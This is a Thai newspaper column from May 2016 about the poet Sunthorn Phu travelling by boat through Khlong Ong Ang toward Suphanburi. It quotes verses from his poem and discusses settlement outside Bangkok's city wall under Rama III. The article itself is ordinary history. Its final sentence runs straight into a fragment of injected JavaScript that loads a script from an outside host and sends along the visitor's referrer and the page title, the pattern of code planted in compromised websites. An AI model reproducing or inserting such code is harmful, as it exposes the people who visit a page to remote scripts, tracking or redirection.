มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 19 พฤษภาคม 2559

 

สุนทรภู่ผ่านคลองโอ่งอ่าง

นั่งเรือไปเมืองสุพรรณบุรี

 

          สุนทรภู่ออกบวชลี้ภัยการเมือง ต่อมา ร.3 โปรดให้จำพรรษาอยู่วัดเทพธิดาราม ในกำแพงพระนคร (ตรงประตูผี สำราญราษฎร์) ใกล้ป้อมมหากาฬ

klonglod19-05-59 1

          หลังออกพรรษา และรับกฐินแล้ว ไปธุดงค์เมืองสุพรรณ ออกจากวัด (ซึ่งมีคลองหลอดคั่นระหว่างวัดเทพธิดาราม กับวัดราชนัดดาราม อยู่เรียงกัน) ออกเรือไปชานกำแพงพระนคร คลองโอ่งอ่าง เยื้องปากคลองมหานาค

          มีแมกไม้ขึ้นเต็มสองฝั่งคลอง และมีศาลาท่าน้ำ สุนทรภู่แต่งโคลงนิราศเมืองสุพรรณ พรรณนาว่า

          มหานาคชะวากวุ้ง                      คุ้งคลอง

          ชุ่มชื่นรื่นรุกข์สอง                        ฝั่งน้ำ

          ขุกคิดมิตรหมายครอง                  สัจสวาท ขาดเอย

          กล้าตกรกเรื้อซ้ำ                         โศกทั้งหมางสมร [2]

          ขอฝากซากสวาทสร้อย               สุนทร

          ไว้ที่ท่าสาคร                              เขตนี้

          ศาลาน่าวัดพร                           พี่ฝาก มากเอย

          ใครที่พี่เป็นผี้                             พี่ให้อภัยครัน [3]

          ก่อนแผ่นดิน ร.3 พื้นที่ในกำแพงพระนครด้านตะวันออก เป็นสวนหลวงมีหมากไม้แน่นขนัด ต่อมา ร.3 โปรดให้หักร้างถางพงเพื่อสร้างวัดเทพธิดาราม กับวัดราชนัดดาราม แล้วลงเขื่อนไม้ริมคลองโอ่งอ่างไว้ด้วย

          ดังนั้น บริเวณด้านนอกซึ่งเป็นชานกำแพงพระนคร ก่อนสมัย ร.3 เป็นพื้นที่ป่าชายน้ำชายเลน ไม่มีบ้านเรือน ถ้าจะมีก็เพิงหมาแหงนชั่วคราวของชาวบ้านหาปลา หรือหาฟืน

          แต่นับต่อไปนี้ หลังปรับเปลี่ยนสวนหลวงเป็นที่สร้าง 2 วัด จะเริ่มมีผู้คนไปตั้งบ้านเรือนชานกำแพงพระนคร เพราะในสมัย ร.3 กวาดต้อนเชลยจากบ้านเมืองต่างๆ เข้ามามาก โดยให้ตั้งหลักแหล่งตามที่ว่างเปล่าเป็นหย่อมๆ ไป

          คนเหล่านั้นไม่ตั้งบ้านเรือนเป็นหลักแหล่งแน่นอน เพราะยังไม่มั่นใจว่าจะมีชีวิตอยู่รอดอย่างไร?

          คนบางส่วนจึงไร้บ้าน แสวงหาอาหารไปตามแหล่งที่มีของกินแล้วไม่ตาย

          พยานเรื่องนี้มีในเนื้อร้องเพลงลาวแพน บรรยายความทุกข์ยากของเชลยจากเวียงจัน ไปตีกบหาอึ่งอ่างหาเขียดในทุ่งพระเมรุ (สนามหลวง) ไปทำกับข้าวและแกล้มเหล้า เพราะยุคนั้นถ้าไม่มีงานพระเมรุ ก็เป็นหนองบึงแหล่งอาหารดีเลิศของคนไร้บ้านกลางกรุงs.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;